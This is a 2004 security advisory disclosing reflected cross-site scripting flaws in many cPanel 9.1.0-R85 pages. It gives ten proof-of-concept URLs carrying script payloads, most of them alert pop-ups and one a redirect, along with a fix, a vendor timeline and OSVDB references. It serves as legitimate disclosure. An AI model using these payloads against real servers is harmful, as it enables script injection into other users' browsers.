Exensive cPanel Cross Site Scripting
Description:
cPanel 9.1.0-R85 is vulnerable to Cross Site Scripting (XSS) in almost every
field which is returned to the browser. This could allow a user to create a
specially crafted URL that would execute arbitrary code in a user's browser
within the trust relationship between the browser and the server, leading to a
loss of integrity.
cPanel supports filtering of HTML and scripts in input variables, but according
to cPanel was not enabled in order to support third-party themes. In the
interest of properly securing cPanel, the developers have decided to enable
HTML filtering as of the first release in the April 1, 2004 EDGE release.
Systems Affected:
cPanel 9.1.0-R85
Technical Description:
Multiple variables in multiple cPanel programs do not filter user supplied
input. This could allow an attacker to perform Cross Site Scripting (XSS)
attacks against users of the cPanel system.
To check cPanel for CSS, simply access the following example URLs in a browser:
http://[victim]/frontend/x/cpanelpro/ignorelist.html?account=";><script>alert('Vulnerable')</script>
http://[victim]/frontend/x/cpanelpro/showlog.html?account=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x/sql/repairdb.html?db=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x/ftp/doaddftp.html?login=";><script>alert('Vulnerable')</script>
http://[victim]/frontend/x/cpanelpro/editmsg.html?account=";><script>alert('Vulnerable')</script>
http://[victim]/frontend/x/testfile.html?email=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x2/err/erredit.html?dir=public_html/&file=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x2/net/dnslook.html?dns=</pre><script>window.location='http://www.cirt.net/'</script>
http://[victim]/frontend/x2/denyip/del.html?ip=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x2/htaccess/index.html?dir=<script>alert('Vulnerable')</script>
If you receive a JavaScript pop-up alert or are redirect to another site, the
system is vulnerable to Cross Site Scripting.
Fix/Workaround:
Upgrade to the April 1, 2004 EDGE release or newer.
Vendor Status:
cPanel was contacted on 3/13/2004. They initiated discussion on 3/15/2004 and
decided course of action on 3/17/200
References:
Updated information can be found on OSVDB.org under the following entries:
http://www.osvdb.org/4208 cPanel testfile.html email Variable XSS
http://www.osvdb.org/4209 cPanel erredit.html file Variable XSS
http://www.osvdb.org/4210 cPanel dnslook.html dns Variable XSS
http://www.osvdb.org/4211 cPanel ignorelist.html account Variable XSS
http://www.osvdb.org/4212 cPanel showlog.html account Variable XSS
http://www.osvdb.org/4213 cPanel repairdb.html db Variable XSS
http://www.osvdb.org/4214 cPanel doaddftp.html login Variable XSS
http://www.osvdb.org/4215 cPanel editmsg.html account Variable XSS
http://www.osvdb.org/4243 cPanel del.html account Variable XSS
--
http://www.cirt.net/ | http://www.osvdb.org/